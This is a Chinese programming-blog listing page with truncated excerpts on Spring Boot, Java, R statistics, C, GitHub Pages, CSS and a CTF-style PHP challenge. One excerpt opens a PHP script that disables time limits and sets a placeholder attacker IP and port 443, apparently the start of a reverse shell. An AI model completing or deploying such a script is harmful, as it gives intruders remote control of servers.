1.pom.xml 一般使用idea新建一个SpringBoot web项目时,一般都会自动引入此依赖,如果没有,请手动引入。 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-start ...
分类:
编程语言 时间:
2021-07-07 17:52:38
阅读次数:
0
二维数组的遍历使用foreach public int numWays(int n, int[][] relation, int k) { ways = 0; this.n = n; this.k = k; edges = new ArrayList<>(); //把关系处理成list,类似于图的每 ...
分类:
编程语言 时间:
2021-07-07 17:49:25
阅读次数:
0
1 基本统计分析 1.1 描述性统计分析 myvar<-c("mpg","hp","wt") head(mtcars[myvar]) #显示数据框的头部信息 dat<-mtcars[myvar] #查看数据框 1.1.1 方法 (1)简单分析:summary() 结果分析:计算了最值、分位数、均值等 ...
分类:
编程语言 时间:
2021-07-06 16:23:03
阅读次数:
0
@PostMapping("uploads") public String posts(@RequestParam("file") List<MultipartFile> files){//参数file以list数组接收 if (files.isEmpty()) { return "上传失败,请选择 ...
分类:
Web程序 时间:
2021-07-06 16:22:43
阅读次数:
0
问题:出现错误:未定义标识符“vector” 解决办法: 导入#include <vector>还是不行 后来发现没有添加using namespace std; 添加: using namespace std; 即可!!! ...
分类:
其他好文 时间:
2021-07-05 19:07:46
阅读次数:
0
<?php $info = ""; $req = []; $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; ini_set("display_error", false); //为一个配置选项设置值 error_reporting(0); //关闭所有PHP错 ...
分类:
Web程序 时间:
2021-07-05 19:06:03
阅读次数:
0
近期学习鸿蒙硬件物联网开发,用到的开发语言是C; 一、基础语法:第一个案例: 命令 gcc hello.c #include <stdio.h> //stdio.h 是一个头文件 , #include 是一个预处理命令,用来引入头文件 void func2(){ printf("C语言小白变怪兽") ...
分类:
编程语言 时间:
2021-07-05 19:05:43
阅读次数:
0
<?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $ipaddr = 'xxx.xxx.xxx.xxx'; $port = '443'; $msg = php_unam ...
4. Github Pages 搭建网站 个人站点 访问 https://用户名.github.io 搭建步骤 1) 创建个人站点 -> 新建仓库(注:仓库名必须是【用户名.github.io】) 2) 在仓库下新建index.html的文件即可 脚下留心 1、github pages 仅支持静态网 ...
分类:
Web程序 时间:
2021-07-05 19:00:18
阅读次数:
0
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> .box1{ width: 100px; height: 100px; background-color:red ...
分类:
其他好文 时间:
2021-07-05 18:59:08
阅读次数:
0